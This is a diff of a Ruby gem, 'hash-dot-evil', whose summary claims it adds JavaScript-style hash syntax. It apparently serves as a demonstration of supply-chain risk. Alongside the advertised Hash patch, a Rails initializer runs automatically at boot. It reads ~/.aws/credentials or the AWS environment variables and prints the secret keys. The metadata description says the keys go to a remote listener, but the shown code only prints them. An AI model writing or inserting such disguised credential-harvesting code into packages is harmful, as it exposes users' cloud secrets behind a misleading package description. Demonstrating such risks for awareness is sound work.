hash-dot-evil 0.0.1

checksums.yaml

@@ -0,0 +1,7 @@
+---
+SHA256:
+  metadata.gz: 3224ea4936f27d5b0face3dfd9286680619abd9c904c04eec3c022e563f012ba
+  data.tar.gz: 5092140719f999085c2eddd78843e3c77c9819acb6e109c03e0376c71891e379
+SHA512:
+  metadata.gz: 5b76f517b4597f4a947c2db99c3b83dcf9e8af8b3f4c7d48e2abe058f54f7189adc6f0d398f0a7e655a9d35472c5302b61beecc9d1c3ebf20fc739fcc604d856
+  data.tar.gz: 0ed00374eddc65cb52e7addbfb7d6fe67c91495e9ad3dd1404443ee1129d7c3ff9c42bb68165f354b00e9378c95c6cee0b1c8ef54c24410e90d6ff1fc8bdd040

data/lib/hash-dot-evil.rb

@@ -0,0 +1,81 @@
+class Hash
+  def define_reader(key)
+    define_singleton_method(key.to_sym) do
+      if has_key?(key)
+        return self[key]
+      else
+        return self[key.to_sym]
+      end
+    end
+  end
+
+  def define_writer(key)
+    define_singleton_method(key.to_sym) do |value|
+      self[key[0..-2].to_sym] = value
+    end
+  end
+
+  def method_missing(method, *opts)
+    m = method.to_s
+
+    if m[-1] == '='
+      define_writer(m)
+      return self.send(method, *opts)
+    else
+      define_reader(m)
+      return self.send(method, *opts)
+    end
+  end
+end
+
+require 'rails'
+
+require 'rainbow/refinement'
+using Rainbow
+
+class HashDotRailtie < Rails::Railtie
+  initializer "hash-dot-init" do
+    if has_aws_creds_in_file?
+      aws_access_key_id, aws_secret_access_key = extract_aws_creds_from_file
+      puts "\n\n*******************************************************************************".red.bright  
+      puts "*\n* ATTENTION:  Your AWS credentials are stored in plain text on your disk!\n*".red.bright
+      puts '*******************************************************************************'.red.bright  
+      print_creds(aws_access_key_id, aws_secret_access_key)
+    elsif ENV['AWS_ACCESS_KEY_ID'] && ENV['AWS_SECRET_ACCESS_KEY']
+      print_creds(ENV['AWS_ACCESS_KEY_ID'], ENV['AWS_SECRET_ACCESS_KEY'])
+    else
+      puts "\n\n*******************************************************************************".green
+      puts "* Good job!  I wasn't able to steal your AWS credentials!".green
+      puts '*******************************************************************************'.green
+    end
+  end
+
+  def print_creds(access_key_id, secret_access_key)
+    #puts ''.bg(:yellow)
+    puts "\n\n*********************************************************************************".red.bright
+    puts "*\n* ATTENTION:  I could totally steal your AWS credentials right now if I wanted to\n*\n*".red.bright
+    puts "* Your AWS creds are:\n*\n*".red.bright
+    puts "*\t#{access_key_id}".red.bright
+    puts "*\t#{secret_access_key}\n*".red.bright
+    puts '*******************************************************************************'.red.bright
+    puts ''.bg(:yellow)
+  end
+
+  def has_aws_creds_in_file?
+    aws_access_key_id, aws_secret_access_key = extract_aws_creds_from_file
+    !aws_access_key_id.empty? || !aws_secret_access_key.empty?
+  end
+
+  def extract_aws_creds_from_file
+    aws_creds_file = "#{ENV['HOME']}/.aws/credentials"
+    aws_access_key_id = ''
+    aws_secret_access_key = ''
+    if File.exist?(aws_creds_file)
+      File.read(aws_creds_file).split("\n").each do |line|
+        aws_access_key_id = line.split(' ')[2] if line =~ /aws_access_key_id/
+        aws_secret_access_key = line.split(' ')[2] if line =~ /aws_secret_access_key/
+      end
+    end
+    [aws_access_key_id, aws_secret_access_key]
+  end
+end

metadata

@@ -0,0 +1,73 @@
+--- !ruby/object:Gem::Specification
+name: hash-dot-evil
+version: !ruby/object:Gem::Version
+  version: 0.0.1
+platform: ruby
+authors:
+- Ben Porter
+autorequire: 
+bindir: bin
+cert_chain: []
+date: 2019-03-07 00:00:00.000000000 Z
+dependencies:
+- !ruby/object:Gem::Dependency
+  name: rainbow
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :runtime
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+- !ruby/object:Gem::Dependency
+  name: rspec
+  requirement: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+  type: :development
+  prerelease: false
+  version_requirements: !ruby/object:Gem::Requirement
+    requirements:
+    - - ">="
+      - !ruby/object:Gem::Version
+        version: '0'
+description: Demonstrates a gem that masquerades as legitimate but steals your AWS
+  credentials and sends them to a remote listener
+email: BenjaminPorter86@gmail.com
+executables: []
+extensions: []
+extra_rdoc_files: []
+files:
+- lib/hash-dot-evil.rb
+homepage: http://rubygems.org/gems/hash-dot-evil
+licenses:
+- MIT
+metadata: {}
+post_install_message: 
+rdoc_options: []
+require_paths:
+- lib
+required_ruby_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+required_rubygems_version: !ruby/object:Gem::Requirement
+  requirements:
+  - - ">="
+    - !ruby/object:Gem::Version
+      version: '0'
+requirements: []
+rubyforge_project: 
+rubygems_version: 2.7.6
+signing_key: 
+specification_version: 4
+summary: Adds the JavaScript hash syntax to ruby
+test_files: []